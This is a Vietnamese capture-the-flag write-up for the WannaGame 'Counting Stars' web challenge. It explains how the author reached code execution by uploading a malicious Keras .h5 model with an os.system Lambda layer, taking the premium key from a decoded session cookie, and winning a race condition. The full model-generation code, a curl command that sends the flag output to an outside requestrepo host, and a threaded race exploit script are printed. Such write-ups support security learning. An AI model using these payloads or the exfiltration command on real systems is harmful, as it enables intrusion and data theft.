Giải Wannagame này thực sự có những bài web rất hay và chất lượng, để có thể làm được 1 challenge mình đã mất 2 ngày do thiếu quan sát. Tuy rằng không thể giải kịp trong giờ thi, nhưng không sao, mình đã học thêm được nhiều cái, thì sau đây sẽ là write up cho giải WannaGame, mình có đi hỏi các anh và xem writeup của những người tham gia và đây là ý hiểu của mình về các cách giải đó.
# 1. Couting Stars
## Đề bài

Challenge cung cấp cho mình source code, challenge được viết bằng python và sử dụng một thư viện đặc biệt `tensorflow` để *đếm sao* cho chuẩn xác
Mình sẽ test trên local trước, vì instance chỉ có 2 phút thui :cry:
Docker file đã nói rõ mình chỉ có thể đọc được flag bằng cách chạy file readflag ở thư mục gốc -> phải RCE

Phân tích ban đầu về trang web, website cung cấp chức năng đăng kí, đăng nhập, và 3 chức năng chính: đếm sao(/counting_stars), upgrade (/upgrade), và tải model từ url (/propose_model)
## Phân tích source code
Src code cho tính năng upgrade:
```python!=
@app.route("/upgrade", methods=["GET", "POST"])
def upgrade():
if not session:
return redirect(url_for("login"))
if request.method == "GET":
return render_template("upgrade.html")
key = request.get_json().get("key")
if key != session["premium_key"]:
return {"msg": "Invalid key, please pay 500$ for a permanent key"}, 403
else:
User.update_one({"username": session["username"]}, {"$set": {"premium": 1}})
session["premium"] = 1
return {"msg": "Valid key, enjoy premium features"}
```
- Tính năng này cho phép mình upgrade lên được thành premium, cụ thể là khi nhập đúng `preminum key` có trong session id thì mình sẽ được set thuộc tính preminum = 1 và các tính năng còn lại sẽ được nâng cấp
Tiếp đến với tính năng đếm sao - Counting Stars
```python!=
try:
if not (
session["premium"] == 1
or session["last_time"] == -1
or time.time() - session["last_time"] >= 30
):
return {
"msg": f"Free users can only use this service every 30 seconds. Upgrade to premium for more."
}, 403
session["last_time_2"] = time.time()
```
- Đầu tiên chức năng này sẽ check xem mình thỏa mãn 1 trong 3 điều kiện trên, nếu không thỏa mãn 1 trong 3 thì mình sẽ được coi như là một user thường, và cách 30 giây mới được sử dụng tính năng này 1 lần -> lí do cần phải upgrade lên preminum đây rồi :rolling_on_the_floor_laughing:. Sau đó nếu như mình là người dùng premium thì giá trị last_time_2 trong session được gán thành giá trị time lúc đó
```python!=
x, y = float(request.get_json().get("longtitude")), float(
request.get_json().get("latitude")
model = load_model(f'{session["dir"]}/{MODEL}')
input = np.array(np.hstack(([[x]], [[y]])))
predict = model.predict(input)[0][0]
return {
"msg": f"There are approximate {predict:.1f} billion stars within a radius of 2808m around your location"
}
except:
return {"msg": f"Wow! The stars are aligning"}, 200
```
- Sau đó lấy 2 giá trị `longtitude` và `latitude` trong 1 json body post đặt vào 2 biến x và y, load một model, chính xác hơn là một thư mục nằm ở trong thư mục của người dùng mà mình có thể biết được thông qua session, MODEL được gắn hard code là `counting_stars.h5` nên mình không can thiệp được việc nó có load được model khác. Sau đó đưa giá trị 2 biến x y vào mảng và tiến hành đoán :)) đoạn này quá toán học nên mình không hiểu lắm, nhưng sau đó biến predict sẽ cho ra kết quả và đó là số tỉ ngôi sao nằm trong bán kính 2808 mét quanh vị trí mà mình nhập vào (thiên văn học toán học vật lý học quá)
- Còn nếu có lỗi gì xảy ra, website sẽ luôn báo về dòng chữ `Wow! The stars are aligning` mà không show lỗi ra cho user
### Giờ mới đến phần thú vị, chức năng upload model:
Vẫn như trước đó, nó sẽ check xem mình có phải người dùng premium không, nếu không thì sẽ coi là người dùng bình thường và 30s mới dùng được tính năng này 1 lần như là bên trên, nên đoạn code đó mình bỏ qua
```python!=
url = request.get_json().get("url")
resp = subprocess.check_output(["wget", "--spider", "-o", "-", url]).decode()
matches = re.findall("^Length: (\\d+)", resp, flags=re.M)
if len(matches) != 1:
return {"msg": "Please don't mess up our system"}, 400
if int(matches[0]) > 10000:
return {"msg": "My closed beta server can't hold big files"}, 400
```
- Trang web lấy giá trị của biến url trong json body post rồi tiến hành **kiểm tra** xem file đó có nặng hay không, và có tồn tại hay không thông qua câu lệnh wget `--spider -o - ` -> Output đưa ra là Length của file và file có tồn tại hay không. Rồi website bắt regex đoạn đằng sau chữ Length và xem xem nó có chứa 1 thành phần hay không -> nếu chứa 2 thằng là 2 length -> 2 file -> không cóa đâu. Tiếp đến kiểm tra phần tử đầu tiên có độ dài lớn hơn 10000 hay không, nếu có sẽ trả về file quá to, tôi không thể nhận
```python!=
subprocess.check_output(["wget", "-N", "-P", session["dir"], url])
list_of_files = glob.glob(f'{session["dir"]}/*')
latest_file = max(list_of_files, key=os.path.getctime)
if latest_file == f'{session["dir"]}/{MODEL}':
os.remove(f"{session['dir']}/{MODEL}")
shutil.copyfile(MODEL, f"{session['dir']}/{MODEL}")
return {"msg": "Please don't mess up our system"}, 400
else:
return {"msg": "Please contact admin and told him to check your file"}
```
- Nếu như đã pass được đoạn code kia, file của mình đã sẵn sàng được tải -> website tiếp tục sử dụng wget để tải file về, rồi lấy toàn bộ các file có trong thư mục riêng của người dùng đưa vào 1 list_of_files. Và lấy file gần nhất (file có thời gian tạo lớn nhất) so sánh với MODEL -> là `counting_stars.h5`. Nếu trùng thì xóa model đó đi và copy lại một file `counting_stars.h5` mới vào thư mục, đồng thời đưa ra thông báo đừng làm gì server tôi =)). Nếu như thành công sẽ báo về status 200 và lưu file vào hệ thống
## Phương hướng giải quyết
Giờ bắt đầu từ thứ sussy baka nhất, là tính năng propose_model cho phép tải file từ URL bằng wget. Thì đầu tiên mình nghĩ đến việc blind command injection vào đoạn wget, nhưng cách đó không khả thi khi người ra đề không nối chuỗi mà để hẳn biến vào trong subprocess, cách viết như vậy không thể command injection:

Sau đó mình có một suy nghĩ ngây thơ là nếu như chỉ cần không phải là `counting_stars.h5`, thì mình up webshell lên để lấy persistent =))). Nhưng không, mình không thể truy cập đến được trực tiếp thư mục `models` của đề bài cho. Nên cách này cũng oẳng
Vậy chỗ nào mới trigger đến file ở trong thư mục này? Chỉ có chức năng `counting_stars` làm việc đó, vì nó sử dụng `load_model` để load file h5 nằm trong thư viện của `chính mình`, suy ra để trang web thực thi file thì mình cần phải upload lên 1 file `counting_stars.h5` chứa nội dung là câu lệnh mà mình muốn -> RCE. Hiện tại mình chưa có cách nào khác ngoài cách này vì mình không thể upload lên được 1 file khác và bypass đoạn file name, biến models đã được hard code là `counting_stars.h5` và so sánh ở python quá chặt =)) nên mình từ bỏ ý định bypass file name mà tập trung vào trước hết là kiếm shell của file h5 đã
Mày mò một lúc không ra, đang trong cơn tuyệt vọng thì [Chương](https://github.com/caodchuong312) bạn mình tìm ra được một chỗ viết shell và export ra một file h5, mình sẽ có thể trigger nó thông qua câu lệnh `load_model` -> câu lệnh mà chức năng counting_stars sử dụng, chi tiết sẽ nằm ở [đây](https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model#hiding-the-malicious-lambda), mình sẽ chỉ sử dụng nó thôi =)):
Đoạn code gen ra file h5 sẽ như này, mình sẽ test với câu lệnh `id`:
```python!=
import tensorflow as tf
def exploit(x):
import os
os.system("id")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("test.h5")
```
Sau khi chạy đoạn code này nó sẽ gen ra file `test.h5` mà khi load model đến nó sẽ trigger câu lệnh id:

Ngonnnn, vậy là mình được shell h5 rồi, giờ mình cần phải giải quyết đến vấn đề nếu file cùng tên nó sẽ xóa file và copy file `counting_stars.h5` mới vào, xem lại đoạn code nào:
```python!=
subprocess.check_output(["wget", "-N", "-P", session["dir"], url])
list_of_files = glob.glob(f'{session["dir"]}/*')
latest_file = max(list_of_files, key=os.path.getctime)
if latest_file == f'{session["dir"]}/{MODEL}':
os.remove(f"{session['dir']}/{MODEL}")
shutil.copyfile(MODEL, f"{session['dir']}/{MODEL}")
```
Nó **tải về** này, rồi nó check xem file đấy có phải `counting_stars.h5` không này, rồi nó mới xóa, hmmmmmm
Đúng, nó **tải về** rồi nó mới xóa -> Race Condition :crossed_swords: :crossed_swords: :crossed_swords:
Để race được, thì mình sẽ cần phải là người dùng premium =)), vì free user quá cùi chỉ được xài 30s 1 lần thôi. May mắn là premium key nằm trong session và mình có thể lấy nó dễ dàng bằng `flask-unsign`
```!
┌──(kali㉿kali)-[~/Desktop]
└─$ flask-unsign --unsign -c '.eJxNzjsOAjEMBNC7uAaRxM5vL7NyYkdaQQDtp0CIu7OIArqZad48QaYZBug30ctyykiJrSUpGLygSWRizM5xtC1wjZpDY2lixatpMUu1SQQFDnDhZR3XqSsMR_tXR_cd7rP2aesw_PJ41sduOxuKK0o-OUSO1RuHIUmsUVzQ_QApUg3Vi6_cbGkoRK2GHd0Wna_8MYHh9QZvHjzN.ZW00VA.4tm4ZadpCwjZeJyGwFhPffWpTP0'
[*] Session decodes to: {'dir': 'models/9348a114db365d3084077922a71f6ac7e96fadfd1d5e0f79dc18dd3d', 'last_time': -1, 'last_time_2': -1, 'premium': 1, 'premium_key': '216b2be458233a7c502368d7c7d26e0774e34c6c5d5caf1bf3d44fc6', 'username': 'a'}
```
Nhập đoạn premium key này vào là vấn đề của chúng ta sẽ được giải quyết, ngonnn.
Rồi, giờ thì câu hỏi đặt ra sẽ là race như thế nào? Ý tưởng đầu tiên là mình sẽ race upload file `counting_stars.h5` này lên, và đồng thời là request trigger nó ở `/couting_stars` để out bound ra ngoài bằng curl hoặc wget.
Tuy nhiên sau khi thử cả một buổi chiều không được thì mình khá là đuối. Sang hôm sau mình có đi hỏi và người anh Hưng Chiến đã chỉ mình cách race của anh ấy. Bây giờ mình sẽ upload 1 file bất kì ngay sau khi upload file `counting_stars.h5` để khi check thì file bất kì đó mới là mới nhất và nó sẽ bỏ qua đoạn xóa file -> file mới của mình sẽ thay thế file cũ. Lúc này nhanh tay chèn ngay theo 1 request đếm sao để trigger model mới của mình -> Đọc flag -> Solve
Vậy thì mình đã gần như là hoàn chỉnh các bước rồi, tuy nhiên trong quá trình thực hiện mình liên tục dính lỗi status 304 khi wget file dựng trên apache và ngrok ra ngoài. Lý do là response header `Last-Modified`, nếu header này vẫn thế ở lần wget thứ 2 thì wget sẽ không tải file mà để lại cái thông báo ở trong log như sau

Sau khi thử config lại apache nhưng vẫn không giòn, mình quyết định dựng 1 cái server php không có 1 cái gì hết để chứa file, khi đó thì sẽ không có header `Last-Modified` -> không lỗi :rolling_on_the_floor_laughing:

- Tổng kết lại, các bước để giải quyết challenge như sau:
+ Tạo file h5 chứa câu lệnh outbound ra ngoài (mình sử dụng request repo) và một file rác (gì cũng được)
+ Host một trang web để chứa 2 file đó
+ Vào trang web, lấy premium key từ session, upgrade lên premium
+ Race condition ở propose_models (mình dùng script python)
+ Ngồi canh ở request repo đợi flag zề :heavy_check_mark:
## Khai thác
### Tạo file
Bắt đầu tiến hành khai thác, mình sẽ tạo file h5 như đã nói để trigger lấy flag, nhưng trước đó mình cần câu lệnh lấy flag vì instance quá nhanh để có thể lấy persistent:
Mình test trên docker để xem câu lệnh nào hoạt động, và mình đã thành công với
```
curl -d "`/readflag`" http://ecs41sm4.requestrepo.com
```


Vẫn sử dụng script trên, mình tạo file

Mình sẽ thử wget --spider file này để xem length của nó có thỏa mãn hay không
```!
┌──(kali㉿kali)-[~/Desktop]
└─$ wget --spider -o - http://192.168.92.133:1234/counting_stars.h5
Spider mode enabled. Check if remote file exists.
--2023-12-03 22:21:55-- http://192.168.92.133:1234/counting_stars.h5
Connecting to 192.168.92.133:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9952 (9.7K)
Remote file exists and could contain further links,
but recursion is disabled -- not retrieving.
```
Vừa khít dưới 10000 luôn =))), shell của mình thỏa mãn điều kiện rồi
### Server chứa file
Mình dựng server chứa file bằng php với câu lệnh
```
php -S 0.0.0.0:1234
```

Server được lập ra ở tab desktop nên có thể truy cập tới file `lmao.txt` và `counting_stars.h5` một cách dễ dàng. Dựng ở local nên hiện tại mình sẽ sử dụng ip của máy ảo mà chưa ngrok ra ngoài:

### Lấy premium key
Như mình đã lấy ở trước, mình dùng premium key và upgrade lên để không bị giới hạn request:

Mình sẽ lấy session sau khi được gán premium=1 để nhét vào script python
### Race condition
Giờ mình sẽ có 3 luồng để chạy song song với nhau, đầu tiên là up file `counting_stars.h5` lên, sau đó up file `lmao.txt` để file h5 không bị xóa, và cuối cùng là lấy flag bằng cách sử dụng chức năng đếm sao ở tab /counting_stars
Script mình khai thác ở local:
```python!=
import requests
from urllib3.exceptions import InsecureRequestWarning
import json
from threading import Thread
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
http_proxy = "http://localhost:8080"
proxies = {
"http" : http_proxy,
}
headers = {
"Content-Type": "application/json",
"Cookie": "session=.eJxNjUEKwkAMRe-StWI6k2ljL1OSSQLFVqXVhYh3t-JCd-9_Hrwn2LhAD_PFfFoPjNQkllojBxbPJhsV01qFkLKHJ4qkuabIhuxdy5pFGHYwyXobbuPs0O-bvzmk73FdfB7vM_Q_Hk7-2Nrox6AUYsnJsKoqdm0pKGTsmTy0Y5HNCG64Gh61UA6tW_S--nKWTxMEXm9TDz65.ZWyZVQ.rsPdWSUKtnYbzEsVmFqSyYoL4H8"
}
def upload_shell():
url = "http://localhost:2808/propose_model"
payload = {"url":"http://192.168.92.133:1234/counting_stars.h5"}
json_payload = json.dumps(payload)
response=requests.post(url, data=json_payload, headers=headers, proxies=proxies)
print(response.json())
def upload_shell2():
url = "http://localhost:2808/propose_model"
payload = {"url":"http://192.168.92.133:1234/lmao.txt"}
json_payload = json.dumps(payload)
requests.post(url, data=json_payload, headers=headers, proxies=proxies)
def get_flag():
url = "http://localhost:2808/counting_stars"
payload = {"longtitude":1,"latitude":-1}
json_payload = json.dumps(payload)
requests.post(url, data=json_payload, headers=headers, proxies=proxies)
while True:
req1=Thread(target=upload_shell)
req2=Thread(target=upload_shell2)
req3=Thread(target=get_flag)
req1.start()
req2.start()
req3.start()
req1.join()
req2.join()
req3.join()
```
Script sẽ thành công nếu như in ra được status 200 -> nghĩa là in ra chữ `Please contact admin and told him to check your file` nên mình để in ra json respond của mỗi payload để quan sát cho dễ

Script đã thành công kha khá lần rồi nên mình dừng lại và check ở request repo.
Flag về đến bản rồi:

Để ý trong docker file model gốc (17.2 kB) đã bị thay thế bằng file model của mình (9.7 kB)

Exploit thành công :crossed_swords:
### Khai thác trên instance
Sự việc diễn ra rất nhanh nên mình cũng không chụp được quá trình làm bài :))), nhưng để làm trên instance thì mính sẽ cần phải thay đổi các đường dẫn và session ở trong script trên (như tham gia Vượt Lên Chính Mình), đồng thời ngrok cổng 1234 của server php kia để instance còn tải được file h5 của mình về
```
ngrok http 1234
```
Script khai thác của mình ở instance cũng tương tự như vậy thui:
```python!
...
headers = {
"Content-Type": "application/json",
"Cookie": "session=.eJxNjUEKwkAMRe-StWI6k2ljL1OSSQLFVqXVhYh3t-JCd-9_Hrwn2LhAD_PFfFoPjNQkllojBxbPJhsV01qFkLKHJ4qkuabIhuxdy5pFGHYwyXobbuPs0O-bvzmk73FdfB7vM_Q_Hk7-2Nrox6AUYsnJsKoqdm0pKGTsmTy0Y5HNCG64Gh61UA6tW_S--nKWTxMEXm9TDz65.ZWyZVQ.rsPdWSUKtnYbzEsVmFqSyYoL4H8"
}
def upload_shell():
url = "http://2aa5f90240673fb1a4eada1b0032c804.w1chall.io.vn/propose_model"
payload = {"url":"https://d65c-104-28-254-74.ngrok-free.app/counting_stars.h5"}
json_payload = json.dumps(payload)
response=requests.post(url, data=json_payload, headers=headers, proxies=proxies)
print(response.json())
def upload_shell2():
url = "http://2aa5f90240673fb1a4eada1b0032c804.w1chall.io.vn/propose_model"
payload = {"url":"https://d65c-104-28-254-74.ngrok-free.app/lmao.txt"}
json_payload = json.dumps(payload)
requests.post(url, data=json_payload, headers=headers, proxies=proxies)
def get_flag():
url = "http://2aa5f90240673fb1a4eada1b0032c804.w1chall.io.vn/counting_stars"
payload = {"longtitude":1,"latitude":-1}
json_payload = json.dumps(payload)
requests.post(url, data=json_payload, headers=headers, proxies=proxies)
...
```
Sau khi chạy thì flag về request repo của mình như sau:

Flag: **W1{10_out_of_100_796a480d3968d4862419227123e01d70}**